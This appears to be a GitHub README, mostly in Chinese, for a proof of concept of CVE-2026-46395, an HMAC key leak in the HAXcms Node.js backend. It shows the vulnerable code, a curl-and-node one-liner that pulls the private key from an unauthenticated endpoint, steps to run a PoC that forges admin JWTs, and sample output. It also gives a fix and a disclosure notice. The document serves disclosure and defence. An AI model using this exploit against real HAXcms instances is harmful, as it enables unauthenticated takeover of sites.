shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak

GitHub: shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak

HAXcms Node.js HMAC 私钥泄露漏洞(CVE-2026-46395)的概念验证代码与技术分析,演示未认证攻击者如何通过单一请求提取密钥并伪造管理员 JWT。

Stars: 0 | Forks: 0

# CVE-2026-46395 - HAXcms Node.js 因受损 HMAC 导致的私钥泄露 (CWE-321 / CWE-200) | | | |---|---| | **CVE** | CVE-2026-46395 | | **组件** | HAXcms Node.js 后端 - `haxcms-nodejs/src/lib/HAXCMS.js` | | **漏洞** | 硬编码加密密钥 + 私钥泄露 (CWE-321, CWE-200) | | **严重程度** | **严重** - CVSS 3.1 **9.8** | | **攻击方式** | 未认证,单一 HTTP 请求,无需用户交互 | | **状态** | 上游已修复。影响修补程序之前的版本。 | | **项目** | [elmsln/HAXcms](https://github.com/elmsln/HAXcms) | | **报告者** | Shreyas Challa () | ## 摘要 HAXcms **Node.js** 后端 (`src/lib/HAXCMS.js:2158-2163`) 中的 `hmacBase64()` 包含两个加密错误,二者结合可使任何**未经认证**的 攻击者恢复服务器的主签名密钥 (`privateKey + salt`) 并 伪造管理员级别的 JWT。 ``` // HAXCMS.js:2158-2163 - VULNERABLE hmacBase64(data, key) { var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // BUG 1: key hardcoded to "0" var buf2 = Buffer.from(key); // BUG 2: the real key... return Buffer.concat([buf1, buf2]).toString('base64') // ...is appended to the output .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); } ``` - **错误 1 - 硬编码 HMAC 密钥:** 使用字面量 `"0"` 作为签名密钥, 而不是 `key`,因此该 HMAC 不具备任何保密性。 - **错误 2 - 密钥泄露至输出中:** 真实的 `key` (系统的 `privateKey + salt`) 被拼接到摘要后,并进行 base64 编码包含在 返回的 token 中。 因此,每个 token 都具有以下结构: ``` base64url( [32 bytes: HMAC-SHA256 keyed with "0"] [N bytes: privateKey+salt IN PLAINTEXT] ) ``` 攻击者对任意 token 进行 base64 解码,**丢弃前 32 个字节**,即可直接读取 私钥。`/system/api/connectionSettings` endpoint 位于 JWT 跳过列表 (`src/app.js`) 中,并且在**无需认证**的情况下返回多个此类 token,因此只需发送一个 GET 请求即可暴露该密钥。 ## 影响 一次未经认证的请求即可导致全面攻陷: 1. **提取私钥** - 发送 `GET /system/api/connectionSettings` 请求,对任意 token 进行 base64 解码,并丢弃前 32 个字节。 2. **伪造管理员 JWT** - `jwt.sign(payload, privateKey+salt)`。 3. **伪造请求 token** - 重新计算 `user_token`、`form_token` 等。 4. **完全管理员访问权限** - 创建/修改/删除站点、上传文件、更改内容。 即使管理员设置了强密码,此攻击依然有效,并且伪造的 token 不会在日志中产生任何登录事件。 ## 运行 PoC `poc_hmac_key_leak.js` 针对运行中的实例端到端地执行整个链条,并详细打印每一个步骤:获取 token → 提取密钥 → 验证密钥 → 伪造 JWT → 伪造请求 token → 调用已认证的 endpoint → 创建站点以证明写权限。 ### 前置条件 - Node.js 16+ - 一个您已获授权测试的、正在运行的 HAXcms Node.js 实例 搭建一个本地测试实例: ``` git clone https://github.com/elmsln/HAXcms.git cd HAXcms/haxcms-nodejs && npm install node src/app.js # serves on http://localhost:3000 ``` ### 安装并运行 PoC ``` git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git cd CVE-2026-46395-haxcms-hmac-key-leak npm install # pulls jsonwebtoken (used for JWT forgery) node poc_hmac_key_leak.js http://localhost:3000 ``` 如果未安装 `jsonwebtoken`,PoC 仍会提取并验证密钥, 只是会跳过 JWT 伪造步骤。 ### 手动单行命令(仅提取密钥) ``` TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \ | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4) node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/'); console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));" ``` ### 示例输出 ``` STEP 1: Fetch /system/api/connectionSettings (NO AUTH) token length: 139 chars (a correct HMAC token is ~44) STEP 2: Extract the private key from the token Bytes 32+ (privateKey + salt in PLAINTEXT): 4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b RESULT: Private key successfully extracted! STEP 3: MATCH - extracted key is correct. STEP 4: Forged JWT (user=admin) ... STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed. ``` ## 修复建议 使用一个正确的带密钥 HMAC 函数替换原有的受损函数,且仅返回摘要: ``` hmacBase64(data, key) { return crypto.createHmac("sha256", key) // use the real key .update(data) .digest('base64') // return ONLY the hash .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); } ``` 修补后: 1. 所有现有的 JWT/token 都将失效 (符合预期) - 用户需要重新认证。 2. 在每个已部署的实例上**轮换 `privateKey` 和 `salt`** - 任何之前 颁发的 token 都以明文形式包含旧密钥 (存在于 HTTP 响应、日志和 浏览器历史记录中)。 更新至包含上游修复的最新 HAXcms 版本。 ## 负责任的漏洞披露 此问题已报告给 HAXcms 维护者,并在公开发布前已修复。 PoC 仅在补丁可用后才发布。请仅针对您拥有或明确获得授权测试的系统使用它。 ## 法律 / 授权使用声明 本材料仅用于**防御性研究、教育和授权的 安全测试**。在未经明确许可的情况下对系统运行此程序可能是 违法的。您需全权负责遵守所有适用的法律, 并在测试前获得授权。按“原样”提供,不附带任何 保证 (详见 `LICENSE`)。
标签:GNU通用公共许可证, HMAC, JWT, MITM代理, Node.js, PoC, StruQ, 密码学缺陷, 数据可视化, 暴力破解, 自定义脚本